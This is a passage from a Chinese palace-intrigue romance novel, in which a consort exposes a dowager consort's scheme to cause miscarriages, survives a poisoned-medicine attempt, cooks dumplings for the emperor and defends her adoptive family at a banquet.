明熙却道,“太妃勿躁,此并非静太妃污蔑你,实则是那陈长福就是如此交代的,据他称,早在多年前,您生下惠王荣升妃位后,便将其安插在内府局暗中行此事,且这么多年来,受害的还不止静太妃一人,只是静太妃在几位太妃中年纪最轻,至今仍未断葵水,所以碰巧被我发现了而已。” 这话一出,就见一旁的端太妃一顿,忙看向淑太妃道,“当年我也曾有个孩子,还未知男女就掉了,难道也是你?” 淑太妃自然就要否认,静太妃却立时道,“一定是她!她叫人在香中暗中加了红花,降香等许多药物,皆是会导致滑胎的!这些年来,她不知还给多少人用过,就是为了不叫别人生出皇子,以好叫她的惠王有朝一日能承继大统!” “你血口喷人!这分明是冤枉!!!” 大抵是被戳中心间所想,淑太妃已经顾不得往日的端庄形象,立时大喊道,“仅凭那姓陈的奴才一通胡言,你们就想将如此重的罪过扣在我头上?这是妄想!凡事要讲求证据,有本事先拿出人证物证再说!” “太妃别急。” 明熙又开口道,“您当初宫里有位宫女叫巧蕊,多年前嫁给 了京城巡防司的千户,虽说他们一家已经搬去了汴州,但前日已经找到了她,据她交代,您的确曾做过此事,此算人证之一。” “再有,宫里的陈长福家中老小共二十几口人,皆在您的娘家及惠王府做事,若非确有其事,他又岂敢如此污蔑与你?” “污蔑!污蔑!这就是污蔑!本宫没有做过的事,本宫绝不会承认!” 淑太妃一通叫嚷,又看向太后道,“莫不是太后厌烦我们母子,又或是惠王阻碍了陛下的大业,才制造出今日之事端,硬要将这脏水往我身上泼?只可惜先帝去得早,如今竟无人为我们母子主持公道!” 说着竟还仰天哭了起来,道,“先帝啊,你若在天有灵,不若当初将我一并带走,也好过今日被人如此冤枉啊……” 这模样,直叫明熙不由暗叹,怪道这长舌妇能在宫中安稳这么久,若论演戏,谁也比不上她! 而这般情景,也终于将太后给惹怒,立时斥道,“莫不是疯了不成?竟然说出如此大逆不道之言!自先帝殡天,无论哀家对你,还是陛下对惠王,何时不是厚待?就算前些天朝中参奏惠王南下之时欺压当地商人之事,要换成别人,陛下必定早已经严惩不贷,眼下还不是念在与惠王的手足之情,特意网开一面。没想到竟落得你今日如此以怨报德?” “竟然还有脸提先帝,倘若先帝知道你用如此卑劣的法子将他那些未能出事的孩子一个个除去,还不知要如何降罪与你!眼下贵妃既已查清事实,你还不快从实交代!!!” 到底是太后,这话一出,竟叫那淑太妃不敢再哭下去,却又转而指着明熙道,“我就知道,是你这个敌国妖女作祟!你们以为她真是什么种花的乡下女?她其实是南国的奸细,你们被她耍得团团转!迟早要后悔!” 呵,这长舌妇果然说出来了。 所幸明熙早已有所预料,此时立时要开口反驳,哪晓得萧元彻却先她道,“淑太妃怕不是有些神志不清了,怎么会说出如此荒唐之言?今日本是你做错在先,这些年,你用如此手段残害了这么多无辜性命,虽则父皇已经仙去,但朕也该为那些未出世的手足讨个公道才是。” 太后也连忙颔首道,“陛下所言极是,来人,即刻封禁毓秀宫,严查这些年淑太妃残害皇嗣之事,哀家要替先帝为那些未出世的孩儿们讨个说法!” 话音落下,立时有宫人上前将淑太妃及近身得宫女带走。 静太妃与端太妃还在为遭遇毒手的孩子流泪,一向虔心修佛的安太妃则双手合十念起了阿弥陀佛,又向太后道,“待水落石出,宫中也该做场法事,好安抚那些无辜冤魂才是。” 太后颔首,“哀家让太常寺去安排。” 说着又安慰静太妃及端太妃道,“事情已然发生,你们也别一味伤心了,如今还是该先顾好自己的身子为好。” 二位太妃含泪应是,又见太后叹道,“也是哀家失职了,当年竟未察觉异常,叫这毒妇平白残害了这么多孩儿。” “阿弥陀佛。” 安太妃又道,“此乃旁人的罪恶,太后无需背在自己身上,所幸如今有贵妃及时察觉异常,挖出真相,冤魂在天有灵,也该都得安息。” 这话一出,太后又向明熙投来目光,似是想说什么,然顿了顿后,只是道,“今日大家都辛苦了,都先回去歇息吧。” 众人便应是,纷纷向太后行了礼,便告辞而出。 明熙正要跟上众人的脚步,却听太后又对萧元彻道,“陛下留步,哀家还有些事要同陛下商议。” 就听萧元彻应好,将脚步停了下来。 见此情景,明熙不由在心间暗忖—— 太后该不会是因方才那长舌妇骂她是奸细的事起了疑心,要问萧元彻吧? 然而此时太后并未叫她留下,她也不能解释什么,只能装作无事人一样,先迈出正殿,回到延福宫。 而待殿中清净下来,太后果然问萧元彻道,“方才淑太妃所言,不知陛下可有听清?她怎么会平白说贵妃是敌国奸细?莫非有什么隐情?” 萧元彻只面色淡然道,“母后还不知淑太妃的性子?她若是果真掌握如此重大的要事,必定会想方设法闹出风雨,好来威胁朕的皇位。怎么会憋到方才走投无路之际才说?” 这说得也是。 太后颔了颔首,却听萧元彻又道,“还有,前几日贵妃受封后,她便派人去找了定州的许家姑母来到宫中,当时不是正在您的面前?倘若贵妃身份有假,那许家姑母又是怎么回事?” 太后嗯了一声,终于打消疑虑,道,“不错,想来是那疯妇死到临头,想搅乱朝纲罢了。此事是哀家多虑了,不过,今日这疯妇被抓,惠王必定不会善罢甘休,未准又要生出什么事,陛下还需当心的好。” 萧元彻只道,“真相已然大白,有个罪妇生母只会令他蒙羞,若他头脑清醒,也该息事宁人。否则,只怕得不偿失。” 第39章 朕险些再度失去你 自打出了寿安宫,明熙便一直在思索应对之策。 她晓得,太后方才在殿中看她那一眼绝非寻常,必定是被那淑太妃的话激起了猜疑,否则也不会留下萧元彻单独说话。 虽则不知那母子二人会如何交谈,但她其实并未有过多惊慌。 那淑太妃毕竟空口无凭,她却有无数反驳的理由,因此稍稍思忖过后便只等着萧元彻或者太后传召她。 哪晓得眼看半天过去,竟是毫无动静,不只太后没叫人来找她,萧元彻也并未来问她。 明熙觉得奇怪,便派了赵怀悄悄出去打探情况,一阵以后,却见赵怀回来与她道,“自您离开寿安宫,没过多久陛下便也回了乾明宫,一直在勤政殿里批折子见大臣,并未有什么异常。想来,那二位说的并不是您的事。” 这样么? 明熙不由凝眉,难道是她想错了? 那,那母子二人说的又是什么事? 却听赵怀又道,“不过惠王倒是紧急入了宫求见陛下。” 明熙回神道,“必定是为他那个娘求情来的吧?他消息倒是挺快。陛下可见他了?” 赵怀点头,“见是见了,但想必并未如他所愿,奴才瞧见他脸色灰败,想必不会有什么好结果。” “这就对了。” 明熙冷笑一声,“那长舌妇作恶多端犯了众怒,就算萧元彻愿意给他面子,其他的几位太妃也不会答应,戕害皇嗣可是大罪,谁来也救不了她。” 哼,这就是与她作对的下场。 当然,凡事还需居安思危,明熙又道,“那狗贼一肚子坏水,眼下连亲娘都救不了,必定不会善罢甘休,未准还会使出什么恶毒手段,咱们可都得小心着些。” 赵怀忙应是。 却见明熙又皱眉道,“话说回来,方才那长舌妇都那般嚷嚷了,他们居然一点都没怀疑吗?怎么觉得有些不对劲?” 赵怀,“……” 太后想必会起疑,但有周帝在前头挡着,自然不会有公主什么事。 无奈眼下不能如实相告,他只能道,“那日连那许家姑母都已经亲自来过,在他们看来,此说法自然甚为荒谬,再说那淑太妃那时满口胡言,别人不信也是正常。” 哪知却见那姑娘又叹了 口气道,“太后也就罢了,我还以为他至少会思量一下……看来当年在南阳郡,他果真是没有记住我半分。” 赵怀悄悄一顿,看来无论过去还是现在,公主对周帝都是动心的。 缘分,就是如此神奇。 他忙安慰道,“那时您与那位尚且年幼,且他与您不同,他是皇子,又碰上个偏心的父皇,什么事都得靠自己谋划争取,想必满心都是大计,记不住当年之事也正常,反正缘分兜兜转转,又将您二位牵到了一处,如今他对您一见倾心,对您言听计从,不也挺好?” 然而明熙却又噘嘴道,“你不知道,他曾在建业有个旧相好,说什么“虽然如若鱼肉任人刀俎,但因为她却甘之如饴”,还说这辈子最对不起的人就是她。” 赵怀,“……” 险些就要告诉她,那就是她罢了。 要不一天天的净吃自己的醋,什么时候是个头? “那,只能表明人家重情义,” 赵怀赶紧问道,“话说回来,您这两天头还疼吗?” 却见明熙摇头,“没有。” 赵怀又问,“那您可还曾想起过什么新的事?” 新的事? 却见明熙又一脸疑惑的看他,“难道我还有什么没想起来的?” 赵怀,“……” 只好道,“有些只有您自己知道的事,奴才们也不晓得。” 明熙挑眉,“那倒也是。” 咳,就比如……二郎。 事到如今,她还是没能在记忆中寻到二郎的脸究竟是什么样子,却又因为这段时日与萧元彻的耳鬓厮磨,在梦中将二人彻底混为了一体。 原本在梦中与二郎做过的事,现在全换成了她与萧元彻,萧元彻带她骑马,与她乘船,还给她吹箫…… 思及此,明熙不由有些心虚,先不说萧元彻了,她自己也够无情的。 …… 正在此时,却听门外传来声音,“启禀贵妃,药熬好了。” 明熙眼下每日仍在服用那化解头部瘀血的汤药,闻言赵怀立时前去开门,然而就在接下药的瞬间,却瞥见那送药的小宫女面色很不自然,才将药交到他手中,便作势要退下。 这叫他立时警醒起来,忙道,“站住!是谁叫你在药中动手脚的?” 就见那宫女一顿,忙道,“公公这说得什么话?奴婢并未在贵妃的药中动手脚。” “是吗?” 赵怀却将药往她怀中一塞,道,“那你就替娘娘先尝尝看。” 话音落下,对方的脸色骤然变得惨白,半晌竟是不敢将那药接下。 如此情景,还需多说什么?赵怀立时将人扣下,又命人去乾明宫禀报。 …… 等萧元彻来到延福宫时,事情已经查的差不多了。 一五花大绑的宫女被提至他面前,一旁还摆着才从树下挖出的药渣,赵怀在一旁躬身道,“启禀陛下,此女在娘娘的汤药中暗自动了手脚,方才奴才发现不对,立时将其控制,并将汤药送去荀御医面前查验,经荀御医证实,那汤药中被加入了断肠草,足可以取人性命。” “据查,此女原是毓秀宫淑太妃的手下,此番只怕是因淑太妃之事记恨贵妃,要以此来给淑太妃报仇。” 这般情景,岂能不叫萧元彻暴怒,立时发话道,“还不押下去严刑伺候?此等人居然也到了贵妃身边,尚宫局又是如何当差的!” 话音才落,就见胡尚宫立时跪到他面前道,“是奴婢失职,还请陛下责罚。” 未等萧元彻再开口,明熙忙道,“陛下息怒,此女已经潜在宫中多年,平素与毓秀宫又并无联系,尚宫大人一时被蒙蔽,亦是在所难免,要怪也只能怪有些人心思太深,早早在宫中布局,就譬如那个陈长福,除非犯事,否则很难被发现,不如趁此机会将宫中彻查一番,也好早绝后患。” 话音落下,萧元彻这才颔首,对胡尚宫道,“贵妃言之有理,就再给你一次将功赎过之机,立时彻查宫中所有人手,勿要再叫宫中生出今日之事。” 胡尚宫应是,分别向二人谢了恩,立时退出殿外行事。 萧元彻也挥退殿中人手,立时将明熙抱入怀中。 “是朕不好。” 他深深叹了口气,“竟然叫这样的人到了你身边,若非发现及时,朕只怕要后悔终身。” 明熙才被拥抱得猝不及防,闻此言,又不由一怔。 试着抬眼,只见他凝眉闭眼,一副深深自责的模样,似乎真的很是后怕。 倒显得她有些没心没肺了…… 她只好安慰他道,“陛下不必如此紧张,臣妾眼下不是好好的么?” 咳,其实她本也没打算喝那碗药,最近几日都是把赵怀支走,再偷偷把药倒了的。 ——反正已经好些日子没再头疼,也没有需要找回来的记忆了。 “可朕险些就要再失去你” 萧元彻又脩然将她抱紧,叹道,“阿真,朕怎么能叫你涉这样的险?” 闻言明熙却不由皱眉,他为何要说“险些再失去你?” 正想问一问,却见他道,“今次待尚宫局将宫中人手查验完毕,便由你亲自挑选人手,决不能再叫人安插祸患在你身边。” 叫她自己亲自挑人? 明熙不由挑眉,这倒是个好主意,要知道赵怀毕竟是个宦官,没法时时刻刻陪在她身边,她这几日正想着要把凌霜调过来呢。 到时她便借口在延福宫中置办个小厨房,叫凌霜每日去御膳房取食材,也并不耽误与外界传递消息。 这样想着,方才的那点疑惑早已抛去九霄云外,她忙对萧元彻道,“臣妾正想着要在这院中置办一个小厨房,也好练练手艺,日后为陛下做些汤粥小食。” 话音落下,正满心自责后怕的萧元彻不由一愣—— 她居然想锻炼厨艺,为他做东西吃? ……要知道,她从前可是最讨厌油腻腻的厨房,只因油烟会损害她无暇的肌肤,就连公主府的膳房她平素都要避着走。 他的小公主一定在打什么主意。 他于是颔首道,“当然可以,需要什么叫人去置办就好,反正这宫中人手任你差遣。” “谢陛下。” 明熙笑得眉眼弯弯,“其实也没什么要置办的,这院中自有地方,只消要些锅碗,再从御膳房那边调几个人过来,给臣妾打打下手就好了。” 从御膳房调几个人? 萧元彻准确抓住了要点,心间又是悄然一顿。 ……原来她在御膳房也有人手? 也不知从前有没有想到要在他的御膳中下毒…… 但无论如何,她的安稳乃是第一,她有自己的人手在身边必定更好不过,他便颔首道,“就照你的意思去办吧。” 就见明熙笑着点了点头,还在他脸上亲了一口,又将脑袋靠在他的前襟。 萧元彻垂首,目光扫过她乌溜溜的发顶,及白皙的额头,玲珑的鼻尖,嫣红的唇瓣,及小巧的下巴,也牵唇笑了起来。 至少他平安活到现在,他的姑娘真是对他留情了。 第40章 心要化了 明熙素来是一个说干就干的人,待同萧元彻说好,第二日就叫人弄好了院中的小厨房,并将凌霜调到了延福宫。 主仆终于重聚,凌霜别提多高兴,待明熙挥退闲杂人等,立时与她道,“自打上回浴佛节后就再没见到您,您这些日子可好?” 赵怀在一旁笑道,“姑娘已经当上了北周的贵妃,还实权在握,岂有不好之理?” 哪知凌霜却满脸心疼道,“姑娘为了大计,实在牺牲太多了!百姓们若是知道此事,不知会有多心疼!” 明熙,“……其实我也还好。” 咳,起初本是她没能控制好色心,如今倒是越发控制不住了…… 百姓们若是因此心疼她,只会叫她心间甚为愧疚。 当然,此事还是往后慢慢同凌霜解释吧,如今该先捡重要的说。 她道,“咱们能时时在一处是最好不过,今后你就跟在我身边,可以出入寿安宫等其他地方,倘若遇 到突发状况,就与我配合着应对;如此一来,赵怀就可将心思放在延福宫的安全之上。如今这院里有了小厨房,你仍可每天早上去御膳房取菜,与凌雪她们传递消息。” “奴婢明白。” 凌霜点头道,“倘若叫奴婢发现有胆敢对您不轨者,一定将其碎尸万段。” 明熙咳了咳,“这毕竟是在上京,还是要隐藏些锋芒,总之随机应变就好。” 凌霜又应是。 便见明熙又问赵怀道,“我叫你找的食谱可找来了?” ——既然弄了小厨房,总得做做样子给他们看。 赵怀忙从袖中拿出一本食谱道,“这是打建业传过来的,奴才看过了,有点心小吃,也有大菜,还算齐全。” 明熙接过翻了翻,而后指着其中一页道,“就它了,我最爱吃的。等做好,也叫他尝尝咱们家乡的口味。” 赵怀与凌霜忙伸头看去,只见那书页上头写着两个大字,“锅贴”。 二人,“……” 不错,从前公主的确很喜欢吃锅贴,尤其虾肉三鲜馅儿的,每每馋了,总是要叫他们去建业最有名的锅贴店中买上两碟,将肚皮吃的圆圆。 但问题是,公主长这么大可从未下过厨,果真能做出来吗? …… 明熙倒是很有信心,决定好后立时叫凌霜去御膳房取来需要的食材,而后挽挽衣袖,便要照着食谱所写开干。 哪晓得第一步就被卡住了—— “先将新鲜的虾子剥出虾仁。” “呃……” 她垂目看看盆里正不停蹬腿的新鲜虾子,不由皱起眉头,“这要怎么剥?都是活的!” 凌霜凑到她近前道,“没错的,就是要用活虾子剥的虾仁才新鲜,死虾不仅有臭味,吃了还有可能会拉肚子,是万万不能送到贵人们面前的。” 看得出来,这近半年的御膳房,凌霜可是没白待。 闻言,明熙立时看她道,“我有些下不去手,你来替我剥吧,我去看看下一步。” 凌霜应是,立时剥起虾仁,明熙又拿起食谱,只见上头写着,“将新鲜猪前上肉去皮剁成肉糜……” 她转眼去瞧那条猪肉,不由又皱起眉头—— “这要从何处下手?” 一旁的赵怀乐呵呵的上前道,“还是奴才来吧,这肉上有油,只怕会脏了您的手。” 那倒也是。 明熙立时让出了地方,转头又去瞧食谱的第三部 ,只见上头写着,“韭菜木耳切细丁。” 这个她总是可以的,于是忙来到案板前打算切菜,这才发现那韭菜还未洗干净,叶片上还沾着泥。 “……” 因着先前在浣衣局的那些日子,她如今可是最讨厌碰生水,眼见一旁的小桂子还闲着,遂指挥道,“你来帮本宫洗下菜,洗干净些。” 小桂子应是,赶紧挽挽袖子干了起来,待将韭菜洗干净,还连并木耳一道,都帮她切成了细末。 明熙很满意,便照着食谱所写开始和面。 毕竟从前有做香膏的经验,明熙自觉和面应该还算简单,哪知真干起来才知道,面和水混在一起后,竟然出奇的黏,仿佛怪物一样贴在她的指间,叫她挣脱不得。 “这,这要怎么弄?”明熙急得直皱眉,好在凌霜已经将虾仁剥好,赶紧过来指导她,“再加些面粉揉揉就不黏了。” 明熙只好照做,费了好一阵功夫才总算挣脱了手上的“怪物”,慌忙去一旁将手洗净。 看来这面也和不成了,只能叫他人代劳,所幸赵怀已经将肉泥剁好,她瞅了瞅食谱,只见接下来该调馅了。 无非就是将肉泥韭菜木耳及虾仁混在一起,再照着食谱所写,往里头添加油盐酱料就成,这个总不会有什么问题,明熙便操作一通,眼见一旁面团已经揉好,便开始擀皮包锅贴。 毕竟第一次做,着实费时间了些,一直到萧元彻踏入院中之际,锅贴都还未下锅。 又等了一阵,金黄的锅贴才做熟端上了桌。 明熙很有些不好意思,对萧元彻道,“叫陛下久等了。” 咳,回想没做之前信心满满,她还特意叫赵怀去乾明宫送信,叫他早点过来的。 萧元彻却是笑道,“难为你亲自下厨,朕等一会儿又算什么?你才是辛苦了,快坐下歇歇吧。” ——一想到他方才进门时,她坐在桌边仔细捏锅贴的模样,他的心简直都要化了。 谁能想到,她一个十指不沾阳春水的娇养公主,有朝一日竟会亲自为他洗手作羹汤? 这摆在他面前的哪是锅贴,分明是她满满的心意! “才出锅的最好吃,陛下快尝尝合不合口味?臣妾可是照着食谱做的,据说是正宗建业口味。” 眼见那姑娘满脸期待,萧元彻也自是应好,立时尝了起来。 哪晓得咬下去的瞬间却是一怔。 这味道…… 面前,明熙仍满脸盼望的看着他,还急切问道,“好吃吗?臣妾煎了一刻多钟,看着这颜色,应该很是酥脆。” 萧元彻颔了颔首,“的确很是酥脆,这面皮和的不错。” 明熙,“……还有呢,馅料可好吃?” 萧元彻又点了点头,努力拼凑语句道,“虾仁脆弹,很是新鲜,肉泥也很香,这木耳口感甚好,还有这韭菜,切得不大不小,也正合适。” 明熙,“……那味道可合陛下口味?” 萧元彻努力咽下口中的锅贴,又努力维持正常神色道,“也不错。” 明熙,“???” 竟然只是“也不错”? 要知道他方才夸得那些都是别人做的,只有这味道才是她自己调的好吗! 她不信,立时夹起一只送到嘴边来尝,然而咬下去的瞬间,也如萧元彻一样愣住了。 这味道…… 又甜又咸,且都过了头,甚至有些发苦了。 明熙立时将口中的锅贴吐了出来,忍不住皱眉道,“怎么可能?我明明照着食谱放的盐和糖,怎么会这样难吃!” 见此情景,一旁的赵怀忙道,“娘娘莫不是没有用对家伙,以至于量的分量不对?” 这样么? 明熙立时叫人将食谱拿到面前来看,这才发现,食谱上的调料都是用“茶匙”来量,而她方才用的是汤匙。 失之毫厘,差以千里,怪道会有如此味道了。 明熙,“……” 只能向萧元彻道,“是臣妾看错了,竟然叫陛下吃到这样的味道。” 真是难为他方才还那般夸了一通。 哪知萧元彻却道,“第一次做,做成如此已经很是不错了。” 说着竟然还又夹起一只要往口中送。 明熙吓了一跳,忙道,“陛下做什么,这么难吃的东西还不快丢了!” 萧元彻却道,“这可是你辛辛苦苦做出来的,怎么舍得丢?” 说着仍要往口中送。 明熙忙又阻拦,“其实臣妾只是包了包而已,其他的活计都是别人做的,还是不要吃了,万一吃出个好歹可得不偿失。” 说着硬是叫人将锅贴给撤了下去。 所幸桌上还有其他菜式,又叫人盛了饭来,总算叫他将肚子吃饱。 午后还有要事,萧元彻虽有心留下与她缠绵,却也只能先作别。 满院的宫人皆都跪地行礼,直到御驾离开方敢起身。 明熙回到殿中,仍在为方才失败的锅贴感到遗憾,却见凌霜来到近前与她道,“奴婢有一件事想禀报,不知主子有没有觉得周帝的模样有些熟悉?奴婢怎么觉得,从前似乎曾见过他?” 说来,自打来到上京,凌霜便一直在御膳房待着,轻易不得外出,自然也从未见过这北周君王的真容,因此,今日还是头一次见萧元彻。 然而明熙倒并未当回事,只道,“我从前的确曾见过他,那年随父皇去南阳郡赴两国盟会之时,他也在。” 然而话音才落,又不由皱眉道,“不对,那时你们师兄妹几个还未曾到我身边呢。” 却见凌霜道,“奴婢没陪主子去过南阳郡,就是觉得周帝的身形和声音都有些熟悉,似乎……从前曾在建业见过他。” “建业?” 明熙道,“他在建业时的确曾被人带离过质子馆,应该还是个女子……难不成你曾经遇见过他?” 却见凌霜点了点头,道,“应该是的……且容奴婢好好想想。” 哪知还未想起,却听门外传来宫人的禀报,“启禀贵妃,宫门处禀报,平阴县侯与夫人及公子已经入京,正要入宫参拜陛下太后,方才太后娘娘有旨,请您到寿安宫与亲人一聚。” 什么? 竟是洛州许家的家人来了? 明熙一顿,立时发话道,“快些准备,随我去寿安宫。”【你现在阅读的是 】 40-50 第41章 或许,这就是天定的缘分…… 明熙到达寿安宫时,许家人已经到了。 来时已经在心间做好准备,她自知此时应做出一个与亲人分别许久的样子,遂向太后行过礼后,便立时朝许家人看去。 当初入宫前,她曾在许家住过一段时日,此时立时认出,殿中三人是许家的父母及兄长。 许家爹娘身形清瘦,因常年劳作,肤色显得暗沉,但衣着干净,许家兄长许念礼幼时曾读过书,后因家贫不得不辍学,在城中学做生意,肤色相对要白许多,身上还有股书卷气。 眼看大半年过去,一家人都无甚大变化,只是初来这皇宫禁地,难免有些拘谨。 明熙忙开口道,“一别半年多,爹娘兄长可都还好?” 话音落下,许父与许念礼都连忙点头,倒是许母方氏竟一下红了眼眶,对明熙道,“草民们都还好,眼见娘娘也安稳无虞,民妇也放心了。” 就仿佛站在眼前的,是她早已故去的亲生女儿一般。 明熙自知缘由,心间也不免沉重了些,只得点头道,“劳母亲挂念,女儿在宫中幸得太后陛下照拂,一切都好。当初分别,竟没想到今日还能在宫中团聚,此都要感谢陛下及太后天恩。” 说着又领着一家人向太后行礼。 许父也跟着道,“陛下太后如此天恩,实在叫草民等惶恐,草民自问愧对如此荣光,唯盼圣人收回成命。” 这个态度令太后满意,便又叫一家人平身道,“不必如此多礼,贵妃聪慧贤德,自打入宫,为哀家与陛下分担了不少忧思,更是以身护主立下大功,这也都是你们素日言传身教之果,如今陛下赏赐,也乃实至名归,今后要更当好好教养子弟,为我大周建功立业才是。” 明熙领着一家人应是,又纷纷起身。 只见太后又吩咐她道,“礼数已经见完,先带你父母兄长去歇息吧,等会陛下得空,再去行礼就好。” 明熙又应是,便向太后告退,带许家人出了寿安宫。 殿中安静下来,太后却不由皱起眉来,问王嬷嬷道,“你有没有觉得,贵妃与她兄长并不相像?” 王嬷嬷道,“的确有些,不过奴婢记得平阴县侯夫人是二嫁,贵妃与县侯公子乃是同母异父。” 同母异父的兄妹不是很像,也并不奇怪。 哪知太后却道,“可哀家看着,贵妃怎么跟她爹娘也不是很像?” 王嬷嬷不敢妄言,只能道,“奴婢方才看着,县侯夫人的眉眼也是很标志的,只是想来常年辛劳,肌肤难免沧桑了些,倘若好好保养,应也算得上美人,县侯亦是如此,若非常年风吹日晒,观其五官也是清秀的。” 太后却依然摇头,道,“并非如此,哀家看,许家人的长相顶多算得上清秀,但贵妃却娇媚得多。” 王嬷嬷只好道,“贵妃正值好年纪,更何况宫里养人,又是圣宠正浓时,气色自然要好得多,何况有些人天生好相貌,长相上挑了父母的长处,也是常见的。” 话音落下,太后总算颔了颔首道,“但愿如此,这么大的事,可别出什么岔子才是。” 王嬷嬷垂首,也不敢多说什么。 她岂会不知,那日淑太妃的话还是给太后埋下了怀疑的种子,一旦生根,想要消除,实属不易。 但她作为奴婢,也不好多说什么,只能尽力安抚,以免生出什么不必要的祸端。 …… 太后与王嬷嬷话音落下之时,明熙才刚将许家人带到自己的延福宫。 遣走闲杂人等再关上门,此时终于能放心说话。 只是没等她开口,却见一家人先向她行起礼来。 “草民等叩谢贵妃娘娘大恩,若无娘娘,草民等岂能有今日?这一切都是娘娘带给草民们的。” 眼见许家父亲言辞恳切,她忙叫赵怀与凌霜将人扶起,道,“不必如此多礼,想来一切都是天定的缘分,才能叫咱们又有今日重逢之时。只是上京不比洛州,虽说今后衣食无忧,但无会有数双眼睛盯着咱们,往后还要多加小心才是。” 说着她顿了顿,又道,“往后我就是爹娘的女儿,兄长的妹妹,咱们的命运已经紧紧绑在了一处,还请爹娘兄长受我一拜。” 说着她便认真朝三人行礼,却叫许家众人吓了一跳,纷纷上前扶她。 许母又忍不住红了眼眶道,“说句僭越的话,自打娘娘那是第一次到我家中,我便觉得这似乎是上天安排的缘分,叫我平白又得了女儿……娘娘放心,咱们绝不会为您惹事,也希望您在宫中一切顺遂。” 闻此言,明熙也是唏嘘。 谁能想到,就在真正的许念贞不幸病死多年之后,她正好踏入那个家中。而在历经父母离世,哥哥也撒手人寰之后,她这个孤女,如今竟然又多了母亲,父亲,及兄长。 或许,这正是上天安排的缘分? 她便拿出帕子,如亲生女儿一般为许家母亲擦去了眼泪,“既如此娘该高兴才是,往后一家人都好好的。” 语罢又与许父及哥哥说了些今后安排,一阵过后,却见高寿来到殿中道,“启禀娘娘,陛下眼下政务繁忙,暂时无法接见县侯及夫人,陛下的意思,先请县侯一家稍坐歇息,待到晚间赐宴景福殿,陛下会亲自招待。” 君王亲自赐宴招待,放眼本朝,非功勋卓越者不能享此殊荣,这可是莫大的荣誉。明熙忙又领着许家亲人谢了恩。 待送走高寿,却见许家人皆都满脸紧张,许父道,“草民们初次进京,尚不知宫中规矩,只怕等会不知礼数,冒犯了圣驾,可如何是好?” 明熙道,“不必紧张,陛下非不近人情之人,当然知道你们是初次进京,不会轻易怪罪,何况等会儿我也会去,到时若有人问你们私事,不想答的就不必答,自有我替你们挡着。” ——听方才高寿的意思,今晚的晚宴,除过她及许家人,萧元彻应该还会叫些朝中官员来作陪,以彰显对平阴县侯的看重。 而自打她受封至今,朝中依然不乏质疑之声,所以保不齐今晚还会有些没眼力见的蠢货说些什么。 但凡事有她,定然不会叫那些人得逞。 …… 如此说好,她便又唤来宫人为许家人收整衣装,待到夜幕降临之际,便一同去了景福殿。 华灯初上,将殿宇映照得大气恢弘。 如明熙所料,今晚殿中除过她及许家人,还有几位朝中大臣及皇室宗亲作陪。 此时见她到来,众人皆都起身行礼。 因着前几日的淑太妃之案,惠王府正处于风口浪尖,自是没有资格出席,令明熙比较意外的事,萧元彻的叔叔,即那位年轻时因花天酒地糟坏了身子,如今几乎下不来床的纪王爷竟然也来了殿中。 看他身材之肥硕,要四个人相扶才能从椅上坐起,而待向她行过礼后,再坐到椅上,立时又叫原本很是宽大的座椅都消失在了其衣袍中。 着实叫人叹为观止。 明熙不由向一旁的纪王妃投去同情目光,天天守着这样肥男过日子,纪王妃实属不易。 不过她也有些奇怪,据她所知,因着行动不便,这纪王已经轻易不出府,今日怎么又来参加晚宴了? 要知道,这并不是什么要 紧的宴享,只是为了招待她的娘家人所办而已。 正琢磨着,却听殿外响起一声响亮通传,“陛下驾到。”却是忙碌了一整日的萧元彻现了身。 明熙便暂且回神,随众人一道起身行大礼。 “参见陛下。” “诸位平身吧。” 萧元彻几步来到她身边,先将她牵起,又对跪成一片的众人道,“今晚算是家宴,无需太过拘谨。” 语罢便带着明熙一道落了座。 明熙只见众人应是,紧接着便又眼睁睁的观赏了一遍纪王座椅的再次消失的过程。 而后,随着捧着美味佳肴的宫人们鱼贯而入,晚宴便开始了。 今晚最要紧的事项之一,便是由宗伯卿向众人介绍许家人。 “平阴县侯及夫人公子千里跋涉,才到上京,陛下特赐宴接风,望县侯一家今后在上京诸事顺遂。” 话音落下,众人举杯祝贺,许家父母则领着儿子起身谢恩。 萧元彻今日为彰显亲切,特意脱下龙袍换了常服,此时也温和道,“诸位一路辛苦,今日不必多礼,平身吧。” 许家人应是,起身回到座位上。 只是未等动筷,却见那位纪王忽然道,“恕本王直言,看县侯与夫人相貌寻常,是如何生出贵妃这等倾国倾城的美人来的?” 什么? 明熙不由皱眉,这老酒鬼怕不是喝醉了还未醒酒,居然在萧元彻面前如此说话? 当然,此本是纪王失礼在先,然而头一次参加宫宴的许家父亲怕给她惹事,却急忙开口自谦道,“草民夫妇皆是乡野百姓,有幸生得贵妃,乃是祖上荣光,叫王爷笑话了。” 明熙便也跟着开口道,“有幸生为爹娘之女,也是本宫的荣幸,爹娘多年来为生计操劳,养育本宫与兄长长大,也着实辛苦了,本宫及兄长皆都感激不尽。” 她原以为如此表态,会叫那醉鬼纪王有所收敛,哪晓得话音才落,却见对方又道,“可县侯公子与贵妃娘娘乃是兄妹,为何也不太相像?” 明熙,“???” 这老东西还没完了! 余光瞥见纪王妃也皱着眉头使劲拉了一下纪王的袖子,明显是嫌弃其话说得太多。 然而纪王却一脸厌恶的伸手挡去纪王妃的手,明显并未觉得有任何错处。 而此时随着其话音落下,殿中其他人也开始面露疑惑起来。 对此,明熙原本并未当回事,然而许家母亲大抵怕为她引来不好之事,开口回应道,“王爷有所不知,民妇乃是二嫁,民妇的儿子与贵妃并不同父,所以兄妹二人最不相像。” ——要知道,这北周不同于南齐,民风没那么开放,无论朝中还是民间,对与女子再嫁之事都是讳莫如深。 否则,当年许家那个趋炎附势的姑母也不会因着他人的口舌与他们断绝关系。 明熙能想到,此时许家母亲心间该有多煎熬。 然偏偏就在此时,那醉鬼纪王却又道,“咱们大周居然还有这等事?夫君死了,女子难道不该为其守节?怎么能又给另外的男人生出孩子?倘若先夫在天有灵,眼见自己的骨肉要认别人做父,岂不要死不瞑目?” 这话一出,只见许家母亲脸色已经僵住。 明熙再也忍不住,立时开口道,“纪王爷久居王府,不知百姓艰辛,你可知民间既不准女子种地,又不准女子抛头露面谋生,这般情况下,要叫一个不幸失去夫君,还带着幼子的寡妇如何活下去?” “所幸上天注定姻缘,叫我娘当年与我爹遇见,我爹不忍看一对孤儿寡母饿死街头,我娘也知我爹心地善良有担当,二人结为夫妇,又将我兄长及我抚养成人,方有我今日坐在殿中。试想倘若我娘当年没有遇见我爹,又或是我爹同你有一样的想法,我娘与我兄长,只怕早已化作白骨。” “我娘的先夫在天有灵,眼见我兄长平安长大,合该感激我爹才是,难道要看着亲生骨肉跟他一样化作尘埃才高兴不成?” 